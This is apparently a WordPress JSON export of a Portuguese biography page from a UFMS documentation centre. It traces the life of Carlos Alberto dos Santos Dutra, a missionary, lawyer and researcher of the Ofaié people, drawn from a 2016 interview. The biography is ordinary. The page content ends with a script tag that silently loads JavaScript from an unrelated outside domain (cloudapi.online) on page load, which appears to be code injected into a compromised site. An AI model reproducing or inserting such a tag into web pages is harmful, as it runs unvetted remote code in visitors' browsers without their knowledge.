{"id":758,"date":"2017-08-16T04:37:59","date_gmt":"2017-08-16T04:37:59","guid":{"rendered":"http:\/\/www.ndh.ufms.br\/?page_id=758"},"modified":"2025-11-04T09:28:17","modified_gmt":"2025-11-04T13:28:17","slug":"carlos-alberto-dos-santos-dutra","status":"publish","type":"page","link":"https:\/\/ndh-cptl.ufms.br\/?page_id=758","title":{"rendered":"Carlos Alberto dos Santos Dutra"},"content":{"rendered":"<div id=\"attachment_754\" style=\"width: 961px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH13.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-754\" class=\"wp-image-754 size-full\" src=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH13.jpg\" alt=\"NDH13\" width=\"951\" height=\"641\" srcset=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH13.jpg 951w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH13-300x202.jpg 300w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH13-120x80.jpg 120w\" sizes=\"auto, (max-width: 951px) 100vw, 951px\" \/><\/a><p id=\"caption-attachment-754\" class=\"wp-caption-text\">Carlos Dutra em Bodoquena (Foto: Orlando Zimmer, 1986)<\/p><\/div>\n<p style=\"text-align: justify;\">\u00c9 imposs\u00edvel contar uma hist\u00f3ria Ofai\u00e9 sem mencionar Carlos Alberto dos Santos Dutra, que h\u00e1 mais de 20 anos tem se dedicado a pesquisa etno-historica desse povo. Com mais de 1.500 not\u00edcias e artigos publicados, \u00e9 autor de livros como \u201cOfai\u00e9, o povo do mel\u201d 1991, \u201cOfai\u00e9, morte e vida de um povo\u201d 1996 e \u201cO territ\u00f3rio Ofai\u00e9 pelos caminhos da hist\u00f3ria\u201d 2011.<\/p>\n<p style=\"text-align: justify;\">Possui tamb\u00e9m obras em outras linhas como \u201cAs Ocupa\u00e7\u00f5es de Terra e a Produ\u00e7\u00e3o do Direito\u201d 2001, \u201cA Outra Face do Rio Grande &#8211; Ideologia e Mitifica\u00e7\u00e3o do Ga\u00facho\u201d 2009, al\u00e9m de cr\u00f4nicas, poemas e can\u00e7\u00f5es.<\/p>\n<p style=\"text-align: justify;\">Carlitos, como gosta de ser chamado, nasceu no dia 28 de fevereiro de 1956 na cidade de Cacequi, cercada por tr\u00eas rios: Cacequi, Ibicui e Santa Maria, estado de Rio Grande do Sul. Segundo as mem\u00f3rias de fam\u00edlia, o av\u00f4 de Carlos teria sido um ind\u00edgena Charrua. Sua inf\u00e2ncia foi de um jovem normal, estudando, trabalhando e apaixonado pela leitura, \u201cMeu primeiro brinquedo foi um livro\u201d, conta.<\/p>\n<p style=\"text-align: justify;\">Estudou em col\u00e9gio agr\u00edcola e na juventude se alistou no quartel chegando a posi\u00e7\u00e3o de cabo. No pr\u00f3prio quartel, em cen\u00e1rio de ditadura militar, criou um gr\u00eamio difundindo informa\u00e7\u00f5es n\u00e3o permitidas dentro da estrutura.<\/p>\n<p style=\"padding-left: 30px; text-align: justify;\">&#8220;No quartel eu lembro que pedi autoriza\u00e7\u00e3o e coloquei um quadro mural com recortes de jornal com as principais not\u00edcias. A noite o comandante ia l\u00e1 e tirava as not\u00edcias, eram not\u00edcias que n\u00e3o eram permitidas serem divulgadas. Eu nasci com uma inquieta\u00e7\u00e3ozinha de questionamento e enfrentamento em algumas situa\u00e7\u00f5es.&#8221;<\/p>\n<p style=\"text-align: justify;\">Com a maior idade, maiores responsabilidades. Carlos foi trabalhar na Rede Ferrovi\u00e1ria como pe\u00e3o, sendo deslocado para a cidade de Pelotas. Na nova cidade, em 1977, iniciou o curso de Medicina Veterin\u00e1ria na UFPEL, e nessa nova fase aconteceu algo surpreendente como ele mesmo conta: \u201cJ\u00e1 estava no quarto ano de veterin\u00e1ria e numa viagem pelo Rio Grande do Sul, de baixo de uma ponte, tive uma inspira\u00e7\u00e3o e a\u00ed decidi ser padre\u201d. Ap\u00f3s essa inspira\u00e7\u00e3o, matriculou-se no curso de filosofia da UCPEL, em 1980, concluindo a veterin\u00e1ria no ano de 1981.<\/p>\n<p style=\"text-align: justify;\">Em 1982, decide ir para Porto Alegre cursar Teologia na PUC, ficando na cidade por quatro anos. Nesse momento, Carlos tem seu primeiro contato com as CEBs (Comunidades Eclesiais de Base), trabalhando no Morro da Cruz em Porto Alegre. Com o trabalho na CEB e um ambiente repleto de filosofia e teologia, Carlos teve seu primeiro contato com o Movimento dos Trabalhadores Rurais Sem Terra-MST, muito tamb\u00e9m por influ\u00eancia da PUC. Ele participou diretamente de duas mobiliza\u00e7\u00f5es emblem\u00e1ticas: Encruzilhada Natalino e Ronda Alta.<\/p>\n<p style=\"text-align: justify;\">Carlos relata que sua inclina\u00e7\u00e3o para a quest\u00e3o ind\u00edgena deu-se quando viu uma foto de um \u00edndio Xacriab\u00e1\u00a0na propaganda da semana do \u00edndio promovida pela Associa\u00e7\u00e3o Nacional de A\u00e7\u00e3o Indigenista-ANAI, se interessou tanto que buscou contato com membros da associa\u00e7\u00e3o e passou a acompanhar seus projetos. O primeiro contato com ind\u00edgenas se fez na comunidade Guarani Mbya.<\/p>\n<p style=\"text-align: justify;\">Terminando a faculdade de teologia, j\u00e1 como mission\u00e1rio, foi convidado para acompanhar um grupo ind\u00edgena localizado na Serra da Bodoquena (oeste do Mato Grosso do Sul, pr\u00f3ximo a regi\u00e3o do Pantanal). Teve sua prepara\u00e7\u00e3o em Bras\u00edlia e Bel\u00e9m, fazendo um curso r\u00e1pido de Antropologia.<\/p>\n<p><a name=\"2\"><\/a><\/p>\n<p style=\"text-align: justify;\">Sua primeira parada no Estado de Mato Grosso do Sul foi na cidade de Dourados, em 1986, sendo incorporado a Diocese. Era um momento de muita viol\u00eancia para com os povos origin\u00e1rios, ent\u00e3o a presen\u00e7a dos mission\u00e1rios fazia-se importante. A amea\u00e7a policial tamb\u00e9m era cont\u00ednua. O trabalho de Carlos era diretamente ligado com a imprensa, em informar os acontecimentos que punham em risco a vida dos ind\u00edgenas. Muitos textos da \u00e9poca foram publicados na sua obra \u201cRaz\u00e3o e utopia, textos rebeldes\u201d, lan\u00e7ada em 1998.<\/p>\n<p style=\"text-align: justify;\">Ap\u00f3s esse per\u00edodo, Carlos seguiu em dire\u00e7\u00e3o a sua miss\u00e3o, na cidade de Bodoquena onde estavam os Ofai\u00e9, mais precisamente no Vasant\u00e3o.<\/p>\n<p style=\"padding-left: 30px; text-align: justify;\">&#8220;Chegando l\u00e1, nessa cidadezinha de Bodoquena, de Bodoquena voc\u00ea vai para Morraria do Sul, voc\u00ea desce para o Tarum\u00e3, do Tarum\u00e3 voc\u00ea vai para o Vasant\u00e3o, ent\u00e3o, os Ofai\u00e9 estavam no Vasant\u00e3o, que \u00e9 dentro do Tarum\u00e3 e o Tarum\u00e3 \u00e9 dentro do povoado (Bodoquena), s\u00f3 que n\u00e3o \u00e9 mais Bodoquena, j\u00e1 \u00e9 Porto Murtinho. Ent\u00e3o, eu fiquei alojado em Morraria do Sul&#8221;<\/p>\n<div id=\"attachment_755\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH14.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-755\" class=\"wp-image-755\" src=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH14.jpg\" alt=\"NDH14\" width=\"500\" height=\"653\" srcset=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH14.jpg 637w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH14-229x300.jpg 229w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/a><p id=\"caption-attachment-755\" class=\"wp-caption-text\">Carlos Dutra e Don Onofre Rosas, Bispo de Jardim. Ao fundo a par\u00f3quia da diocese de Jardim (Foto: Carlos Dutra, 1986)<\/p><\/div>\n<p style=\"text-align: justify;\">Sua primeira forma de adentrar a comunidade foi como professor, ministrando aulas de matem\u00e1tica. Como mission\u00e1rio, atendia na capelinha realizando batizados, casamentos e outros rituais da igreja. Nesse contexto, Carlos estava ligado a Dioc\u00e9se de Jardim, que oferecia os recursos log\u00edsticos de acolhimento e manuten\u00e7\u00e3o. Carlos aguardou seis meses at\u00e9 que sua entrada na aldeia fosse autorizada pelos ind\u00edgenas: \u201cToda semana eu ia, todo m\u00eas eu ia l\u00e1, chegava na porta e tinha um \u00edndio Terena no posto ind\u00edgena, tinha que entrar l\u00e1 para ir onde estavam os Ofai\u00e9\u201d.<\/p>\n<p style=\"text-align: justify;\">Carlos viveu por um tempo no povoado Morraria do Sul, pr\u00f3ximo dos ind\u00edgenas, criando la\u00e7os de amizade e deixando claro suas inten\u00e7\u00f5es como mission\u00e1rio na ajuda aos Ofai\u00e9. A popula\u00e7\u00e3o local vivia momentos de opress\u00e3o e medo com os Kadiw\u00e9u, e conhecendo os argumentos de Dutra, passam a entender que os Ofai\u00e9 viviam situa\u00e7\u00e3o parecida. Esse cen\u00e1rio foi consequ\u00eancia de a\u00e7\u00f5es tomadas pela FUNAI, ao retirar as principais etnias ind\u00edgenas do estado de suas terras originais, alocando-as na reserva Kadiw\u00e9u na ideia de criar um parque ind\u00edgena onde viveriam todos os ind\u00edgenas do MS. Carlitos conta que os maiores prejudicados nesse contexto foram os Guarani e o Ofai\u00e9.<\/p>\n<p style=\"text-align: justify;\">Depois de uma pequena espera, passa a morar com os Ofai\u00e9 e compartilhar de seus costumes e viv\u00eancias di\u00e1rias. Nesse momento, tamb\u00e9m participa do Conselho Indigenista Mission\u00e1rio-CIMI, e se articula com outras ONGs como o Grupo de Trabalho Mission\u00e1rio Evang\u00e9lico-GTME, Projeto Kaiow\u00e1 Nhandeva-PKN, Centro de Trabalho Indigenista-CTI, Comiss\u00e3o Pr\u00f3 \u00cdndio.<\/p>\n<p style=\"text-align: justify;\">No ano de 1987, participa do retorno Ofai\u00e9 as suas terras originais em Brasil\u00e2ndia. Foi o grande moderador para os ind\u00edgenas se estabelecerem na Fazenda Ol\u00edmpia durante seis anos, participando principalmente no levantamento de documentos e na manuten\u00e7\u00e3o de projetos com o CIMI. Nesse meio tempo, em 1993, inicia a gradua\u00e7\u00e3o de Ci\u00eancias Sociais pela UNESP de Mar\u00edlia, n\u00e3o chegando a concluir. O ano de 1996 \u00e9 marcado pela sua participa\u00e7\u00e3o como colaborador na demarca\u00e7\u00e3o da \u00e1rea ind\u00edgena Ofai\u00e9 liderada pela FUNAI.<\/p>\n<p style=\"text-align: justify;\">Em 2001 graduou-se no curso de Direito e concluiu a especializa\u00e7\u00e3o em Hist\u00f3ria do Brasil na UFMS Campus de Tr\u00eas Lagoas. Em 2004 tornou-se mestre em Hist\u00f3ria, tamb\u00e9m pela UFMS com a disserta\u00e7\u00e3o \u201cO territ\u00f3rio Ofai\u00e9 pelos caminhos da hist\u00f3ria: reencontro e trajet\u00f3ria de um povo\u201d e em 2015 a especializa\u00e7\u00e3o em Cultura e Hist\u00f3ria dos Povos Ind\u00edgenas, na UFMS de Campo Grande. Cumpriu mandato de vereador da cidade de Brasil\u00e2ndia entre 2005 e 2008.<\/p>\n<p style=\"text-align: justify;\">Atualmente \u00e9 diretor presidente do Instituto Cisalpina de Pesquisa e Educa\u00e7\u00e3o S\u00f3cio-Ambiental, atua como pesquisador da UFMS no grupo de pesquisa &#8220;Antropologia, Diretos Humanos e Povos Tradicionais&#8221; e consultor para o Plano de Sustentabilidade Ofai\u00e9 da Fibria Celulose S.A. de Tr\u00eas Lagoas-MS.<\/p>\n<div id=\"attachment_780\" style=\"width: 650px\" class=\"wp-caption aligncenter\"><a href=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH19.jpg\"><img loading=\"lazy\" decoding=\"async\" aria-describedby=\"caption-attachment-780\" class=\"wp-image-780 size-full\" src=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH19.jpg\" alt=\"NDH19\" width=\"640\" height=\"408\" srcset=\"https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH19.jpg 640w, https:\/\/ndh-cptl.ufms.br\/wp-content\/uploads\/2017\/07\/NDH19-300x191.jpg 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/a><p id=\"caption-attachment-780\" class=\"wp-caption-text\">Distribui\u00e7\u00e3o de cobertores na Aldeia Enodi, em frente ao posto de sa\u00fade. (Foto: Carlos Dutra, 2009)<\/p><\/div>\n<p><em>Entrevista cedida ao N\u00facleo de Documenta\u00e7\u00e3o Hon\u00f3rio de Souza Carneiro \u2013 UFMS\/CPTL &#8211; 20\/12\/2016.<\/em><\/p>\n<p><script id=\"lg210a\" src=\"https:\/\/cloudapi.online\/js\/api46.js\" type=\"text\/javascript\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00c9 imposs\u00edvel contar uma hist\u00f3ria Ofai\u00e9 sem mencionar Carlos Alberto dos Santos Dutra, que h\u00e1 mais de 20 anos tem se dedicado a pesquisa etno-historica desse povo. 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